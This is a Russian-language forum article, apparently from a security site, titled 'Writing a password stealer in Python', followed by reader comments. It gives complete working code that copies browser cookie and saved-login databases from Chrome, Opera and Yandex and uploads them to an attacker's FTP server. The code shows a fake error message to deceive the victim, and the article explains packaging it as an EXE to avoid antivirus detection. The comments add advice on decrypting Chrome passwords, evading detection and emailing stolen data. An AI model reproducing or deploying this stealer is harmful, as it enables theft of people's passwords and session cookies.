• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Статья Пишем стиллер паролей на Python

  • Автор темы Автор темы NNullday
  • Дата начала Дата начала
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать
Python:
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.

Вот код, пока напишите его, а я потом расскажу о нем ))
Python:
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.

Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:

Python:
 if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме))

Вот код:
Python:
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
Первая строка - вызов функции, которая ворует пароли.

Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))

Вот и весь код, ниже он целиком:
Python:
import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

Ответ - pyinstaller
Скачаем его:
Bash:
pip install pyinstaller

Далее скомпилируем его в EXE'шник, дабы было все проще ))

Bash:
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

Вот так вот. Всем спасибо! Рад был поделится с вами своим скриптом
 
Так понятно начал и всё.. Продолжение будет?)

Если не получается отредактировать -- почисть куки (в консоли при этой ошибке браузер ругается) и вставляй текст из блокнота без редактирования и предпросмотра. У меня так получилось.

В крайнем случае допиши новым сообщением)
 
Могу ошибаться, но вроде пасы зашифрованы и кроме как на этой тачке их расшифровать нельзя.?
 
Могу ошибаться, но вроде пасы зашифрованы и кроме как на этой тачке их расшифровать нельзя.?
Их можно расшифровать, об этом позже напишу
Ведь стиллеры др. расшифровывают их
Насчет куки там все проще
Например у Firefox вообще расшифровывать не нужно
Через блокнот открыл и посмотрел)
Я лично так пробовал
 
А вот немного не понятно куда идут краденные пароли/логины . То есть по сути через конструкцию with мы открываем наши куки , пароли , и куда все эти данные уходят далее?
И еще немного не понятно для чего нужны переменные filename и filename2 ?
 
А вот немного не понятно куда идут краденные пароли/логины . То есть по сути через конструкцию with мы открываем наши куки , пароли , и куда все эти данные уходят далее?
И еще немного не понятно для чего нужны переменные filename и filename2 ?
Куки идут на ftp сервер
Данеые ftp сервера в начале указываем
А вот filename это переменные для названия файла который будет лежать на сервере при отправке
Т.е. их 2 т.к. файлов из 1 браузера мы воруем 2
Можно и проще сделать
Но я решил так))
 
Куки идут на ftp сервер
Данеые ftp сервера в начале указываем
А вот filename это переменные для названия файла который будет лежать на сервере при отправке
Т.е. их 2 т.к. файлов из 1 браузера мы воруем 2
Можно и проще сделать
Но я решил так))

А можно уточнить , где брать данные для хоста , логина и пароля ?
 
Их можно расшифровать, об этом позже напишу
Ведь стиллеры др. расшифровывают их
Насчет куки там все проще
Например у Firefox вообще расшифровывать не нужно
Через блокнот открыл и посмотрел)
Я лично так пробовал
В большинстве браузеров пароли можно расшифровать удаленно. Но в случае с chrom'ом это можно сделать только на машине владельца, под его учетной записью.
 
Так получается данный скрипт бесполезен?
Нет, его надо только чуть дополнить, автор и говорит, что напишет о расшифровке. В случае с хромом просто надо не сразу отправлять файл с паролями, а сначала на месте его расшифровать, и после этого уже отсылать.
 
Вообще довольно неоднозначное решение написание стиллера на питоне, так как даже после "pyinstaller" код останется открытым, а значит и данные для FTP будут скомпрометированы. Для расшифровки паролей можно использовать Lazagne, но тогда практически все антивирусы начнут ругаться на него. Можно попробовать запаковать SFX, но при распаковке все равно антивирус заподозрит неладное. Можно использовать Cишные либы, но это не удобно. В общем это мысли вслух, тема годная, но при условии глубокого дальнейшего рассмотрения.
 
  • Нравится
Реакции: GROD STROVA
Про полиморфизм не слышал?) Просто лень сейчас писать, но ты бы мог объединить поведение скрипта в одну функцию, которая реализует проверку на тип бразуера, и функцию записи, одну для всех (ибо особых отличий в реализации нету). А так конечно молодец, но ты ещё не учёл один маленький нюанс, пакеты .exe собранные через pyinstaller имеют свойство попадать на детект антивирусов. Сам лично сталкивался когда писал безобидный парсер истории для киви кошелька. По этому возможно имеет смысл делать реализацию через батник, или на худой конец .pyw

И на будущие) когда ты очевидно ожидаешь что переменная будет содержать булевый тип, запись можно привести к формату
if (os.path.exists(dir_google)): без == True, так-как условие if изначально предполагает что условие должно быть положительным, в ином случае оно не будет исполнено.
 
Куки идут на ftp сервер
Данеые ftp сервера в начале указываем
А вот filename это переменные для названия файла который будет лежать на сервере при отправке
Т.е. их 2 т.к. файлов из 1 браузера мы воруем 2
Можно и проще сделать
Но я решил так))
Хранить данные от FTP в "Теле" стиллера, ну прям не очень хорошая идея!
Вот что бывает если так делать
Удачи
 
  • Нравится
Реакции: Bellona Alastor
Писал статью на эту тему на другой площадке, вот ссылка:


Качественные изменения:

  • Применение ООП
  • Повторяющиеся операции максимально убраны в циклы и функции
  • Никаких абсолютных путей 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome'
  • Формирование словарей с данными на машине пользователя (расшифровка)
  • Бонусы в виде списков Downloads, History, Cookies уложены по сайтам.

Финальная версия на момент публикации в закрепе.
Доставку полученных данных доверил email (статья + отдельный модуль на том же форуме)
 

Вложения

Писал статью на эту тему на другой площадке, вот ссылка:

Финальная версия на момент публикации в закрепе.
Доставку полученных данных доверил email (статья + отдельный модуль на том же форуме)
Умер форум vlmi.su ?
 
Последнее редактирование:
  • Не нравится
Реакции: fuzzz
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD